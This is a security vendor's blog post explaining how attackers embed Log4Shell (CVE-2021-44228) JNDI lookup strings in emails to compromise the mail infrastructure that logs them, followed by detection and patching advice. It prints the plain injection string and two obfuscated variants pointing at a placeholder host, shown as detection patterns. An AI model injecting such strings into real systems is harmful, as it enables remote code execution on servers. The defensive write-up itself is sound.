Attackers Use Email + Log4j Vulnerability to Efficiently Exploit Email Infrastructure

December 20, 2021

Over the last few days, Abnormal has successfully blocked multiple attempts by attackers to deliver emails similar to these to our customers’ unsuspecting end users.

Log4j email delivery attempt examples

To the average recipient, these emails seem harmless, as they’re mostly gibberish with some suspicious-looking URLs.

However, the email recipient is not the intended target for these emails. Instead, the email content exploits a vulnerability presented by Log4j, a logging library broadly adopted by most Java developers, to compromise and even take over any email infrastructure that relays these email messages from senders to their destinations.

Curious how it does this? Read on.

What is the Log4Shell Vulnerability?

On December 9, 2021, a severe remote code vulnerability (CVE-2021-44228), a remote code execution (RCE) vulnerability with a CVSS score of 10 was revealed in Apache’s Log4j, a very common logging system used by Java developers. Early attacks include cryptomining, ransomware, data exfiltration, remote access trojans, and more.

When an operation attempts to write messages to logs, Log4j allows lookups to provide additional information to the log messages. This could include retrieving and adding to the message content, modifying timestamps, or changing environment details to give developers the clues they need if asked to debug the software. This information can be retrieved locally, or it can be retrieved from a remote machine. For the remote lookup, Log4j uses the Java Naming and Directory Interface (JNDI), which provides developers the means to look up objects using different services and protocols such as LDAP, DNS, RMI, and CORBA, to name a few.

Here is where the vulnerability lies. When an attacker feeds Log4j with a string containing a JNDI lookup command, Log4j reaches out to the remote server hosted by the attacker to fetch and execute the malicious Java code and successfully compromise the target server.

Log4j using JNDI lookup to execute malicious code

How Does Log4j Affect Email Infrastructure?

As emails traverse from the sender’s mail client to the recipient’s inbox, they rely on multiple SMTP / MTA, DNS, Web servers and more, to send the email to the right incoming mail server and, finally, the inbox.

Log4j affecting MTA, DNS, and SMTP email infrastructure

You might think that you need only be concerned about servers where the incoming TCP connections service requests are handled directly by Java code and runtime libraries. But there may be other modules in the background that lie within these servers to perform other jobs for analytics or reporting purposes. And, there is a fair likelihood that they are processing email header information, and if and when they do, they are likely writing some of that information into their logs. Why? Because developers like as much specific information as possible to run root cause analysis when needed!

And herein lies the vulnerability. Log4j then parses the string and consequently retrieves and executes the malicious code, which compromises any and every server that uses the logging library that attempts to log information about the email.

How Has Abnormal Addressed the Vulnerability?

Our commitment to security and privacy requires that we conduct a full impact assessment as soon as a vulnerability like this is identified. Our assessment confirmed that Abnormal products do not use the affected versions of Log4j / Log4Shell / CVE-2021-44228.

The Abnormal information security team has performed additional verification to ensure that there are no externally visible JVM handlers that are affected by this vulnerability.

Am I Protected from Email Log4j Exploits with Abnormal?

Yes, Abnormal classifies any attempts to exploit Apache Log4j to mount an attack as malware. Our combination of behavioral signals, such as connections being created to utilize the Log4j payload and the presence of macros and trojans will be used to detect the rapidly changing forms of attacks in the wild. Furthermore, we combine our user behavioral signals with threat intelligence and sandboxing for a layered defense-in-depth approach to security.

How is Abnormal Providing Additional Protection to Customers?

Our information security and engineering teams have worked tirelessly to ensure our customers have complete protection from any email-borne Log4j related threats. This includes searching for attempted abuses of JNDI strings across our customers that match the following pattern:

${jndi:ldap://badurl}

And even those that attempt to obfuscate the string. For example:

${jndi:${lower:l}${lower:d}ap://badurl}
${${lower:j}${lower:n}${lower:di}:${lower:l}${lower:d}ap://badurl
}

This means that no matter how attackers attempt to use the JNDI strings within email messages, you’ll be protected from this threat.

How Do I Protect My Organization’s Infrastructure?

You will need to find any and all code in your network that is written in Java 2.14 or older, excluding security release 2.12.2, and check whether it uses the Log4j library. Out-of-date Log4j versions need to be updated immediately to the most recent versions, which are 2.12.2 for Java 7 and 2.17.0 for Java 8. You should also apply software patches from vendors as they become readily made available.

Abnormal will continue to detect and block never-before-seen (zero-day) attacks of this kind that target your company and routinely evade traditional threat intelligence-based solutions like secure email gateways.

If you have any questions or concerns that you would like Abnormal to address, please open a case in our support portal or email support@abnormalsecurity.com.

Not yet an Abnormal customer? Request a demo today to learn how Abnormal can enhance your email security capabilities and provide visibility into email threats that other solutions miss.

Demo 2x 1

See the Abnormal Solution to the Email Security Problem

Protect your organization from the attacks that matter most with Abnormal Integrated Cloud Email Security.

Related Posts

B 1500x1500 Modern Email Attacks Webinar Series L4 R2
Our Modern Email Attacks series has wrapped! Here are some of the biggest takeaways from Chris Krebs, Troy Hunt, and Theresa Payton.
Read More
B 1500x1500 Gartner Insights L1 R1
See our commitment to providing our customers with the best possible solution and support with these reviews from Gartner® Peer Insights™.
Read More
B 11 14 22 SPM Launch Blog Graphics
Security Posture Management gives organizations insight into cloud configuration risks and gaps across user and app privileges.
Read More
B 11 14 22 SPM Launch Blog 2
Cloud email platforms enable better collaboration, but they also create new entry points, making sensitive data more accessible to attackers.
Read More
B 1500x1500 Q3 Ransomeware L1 R2
This post explores the continuation of the sharp decline in ransomware attacks as well as a few other notable data points from Q3 2022.
Read More
B 10 05 22 Cloud Email Security Platform Essentials
Learn the 7 key capabilities a cloud email security platform should have in order to address and resolve common email security challenges.
Read More
B 11 07 22 Valimail
Discover the benefits of a modern, best-of-breed solution to email security with Abnormal Security and Valimail’s New Partnership.
Read More
B 11 07 22 Vision 23 Blog
Discover the latest trends in cybersecurity as we look toward the email threats of the future in partnership with SecureWorld.
Read More
B 1500x1500 Crimson Kingsnake L2 R1
Uncovering how threat group Crimson Kingsnake uses third-party impersonation tactics to swindle organizations across the world.
Read More